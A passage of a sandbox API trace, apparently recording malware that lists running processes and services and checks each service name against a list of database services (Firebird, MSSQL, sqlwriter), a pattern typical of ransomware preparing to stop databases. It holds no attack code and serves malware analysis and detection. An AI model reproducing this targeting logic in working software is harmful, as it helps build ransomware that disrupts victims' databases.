(lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0180.573] lstrlenW (lpString="SENS") returned 4 [0180.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0180.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0180.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0180.573] lstrlenW (lpString="ShellHWDetection") returned 16 [0180.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0180.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0180.573] lstrlenW (lpString="Spooler") returned 7 [0180.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0180.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0180.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0180.573] lstrlenW (lpString="StateRepository") returned 15 [0180.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0180.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0180.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0180.573] lstrlenW (lpString="SysMain") returned 7 [0180.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0180.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0180.573] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0180.573] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0180.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0180.574] lstrlenW (lpString="SystemEventsBroker") returned 18 [0180.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0180.574] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0180.574] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0180.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0180.574] lstrlenW (lpString="Themes") returned 6 [0180.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0180.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0180.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0180.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0180.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0180.574] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0180.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0180.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0180.574] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0180.574] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0180.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44798a0 | out: hHeap=0x420000) returned 1 [0180.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x408 [0180.578] Process32FirstW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.579] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0180.579] lstrlenW (lpString="System") returned 6 [0180.579] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0180.580] lstrlenW (lpString="smss.exe") returned 8 [0180.580] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.580] lstrlenW (lpString="csrss.exe") returned 9 [0180.580] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0180.580] lstrlenW (lpString="wininit.exe") returned 11 [0180.581] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0180.581] lstrlenW (lpString="csrss.exe") returned 9 [0180.581] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0180.581] lstrlenW (lpString="winlogon.exe") returned 12 [0180.581] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.582] lstrlenW (lpString="services.exe") returned 12 [0180.582] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.582] lstrlenW (lpString="lsass.exe") returned 9 [0180.582] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.583] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.583] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0180.583] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0180.583] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.584] lstrlenW (lpString="svchost.exe") returned 11 [0180.584] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.584] lstrlenW (lpString="svchost.exe") returned 11 [0180.584] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.584] lstrlenW (lpString="dwm.exe") returned 7 [0180.584] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.585] lstrlenW (lpString="svchost.exe") returned 11 [0180.585] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.585] lstrlenW (lpString="svchost.exe") returned 11 [0180.585] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.586] lstrlenW (lpString="svchost.exe") returned 11 [0180.586] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.586] lstrlenW (lpString="svchost.exe") returned 11 [0180.586] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.587] lstrlenW (lpString="svchost.exe") returned 11 [0180.587] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.587] lstrlenW (lpString="svchost.exe") returned 11 [0180.587] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.587] lstrlenW (lpString="svchost.exe") returned 11 [0180.587] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.588] lstrlenW (lpString="svchost.exe") returned 11 [0180.588] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.588] lstrlenW (lpString="svchost.exe") returned 11 [0180.588] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.589] lstrlenW (lpString="svchost.exe") returned 11 [0180.589] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.589] lstrlenW (lpString="spoolsv.exe") returned 11 [0180.589] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.590] lstrlenW (lpString="svchost.exe") returned 11 [0180.590] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.590] lstrlenW (lpString="audiodg.exe") returned 11 [0180.590] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0180.590] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0180.590] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0180.591] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0180.591] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0180.591] lstrlenW (lpString="Memory Compression") returned 18 [0180.591] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0180.592] lstrlenW (lpString="sihost.exe") returned 10 [0180.592] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.592] lstrlenW (lpString="svchost.exe") returned 11 [0180.592] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0180.593] lstrlenW (lpString="taskhostw.exe") returned 13 [0180.593] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0180.594] lstrlenW (lpString="msoia.exe") returned 9 [0180.594] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0180.594] lstrlenW (lpString="explorer.exe") returned 12 [0180.594] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0180.595] lstrlenW (lpString="SearchUI.exe") returned 12 [0180.595] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0180.595] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0180.595] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0180.595] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0180.595] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0180.596] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0180.596] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0180.596] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0180.596] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0180.597] lstrlenW (lpString="cmd.exe") returned 7 [0180.597] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0180.597] lstrlenW (lpString="conhost.exe") returned 11 [0180.597] Process32NextW (in: hSnapshot=0x408, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0180.598] CloseHandle (hObject=0x408) returned 1 [0180.598] Sleep (dwMilliseconds=0x1f4) [0181.297] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3d3eed8 [0181.298] EnumServicesStatusExW (in: hSCManager=0x3d3eed8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0181.298] GetLastError () returned 0xea [0181.299] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x447ac10 [0181.299] EnumServicesStatusExW (in: hSCManager=0x3d3eed8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x447ac10, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x447ac10, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0181.299] CloseServiceHandle (hSCObject=0x3d3eed8) returned 1 [0181.300] lstrlenW (lpString="AppXSvc") returned 7 [0181.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0181.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0181.300] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0181.300] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0181.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0181.300] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0181.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.300] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0181.300] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0181.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0181.300] lstrlenW (lpString="Audiosrv") returned 8 [0181.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0181.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0181.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0181.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0181.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0181.300] lstrlenW (lpString="BFE") returned 3 [0181.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0181.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0181.300] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0181.300] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0181.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0181.300] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0181.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0181.300] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0181.301] lstrlenW (lpString="CDPSvc") returned 6 [0181.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0181.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0181.301] lstrlenW (lpString="ClickToRunSvc") returned 13 [0181.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0181.301] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0181.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0181.301] lstrlenW (lpString="CryptSvc") returned 8 [0181.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0181.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0181.301] lstrlenW (lpString="DcomLaunch") returned 10 [0181.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.301] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0181.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0181.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0181.301] lstrlenW (lpString="DeviceAssociationService") returned 24 [0181.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0181.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0181.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0181.302] lstrlenW (lpString="Dhcp") returned 4 [0181.302] lstrcmpiW 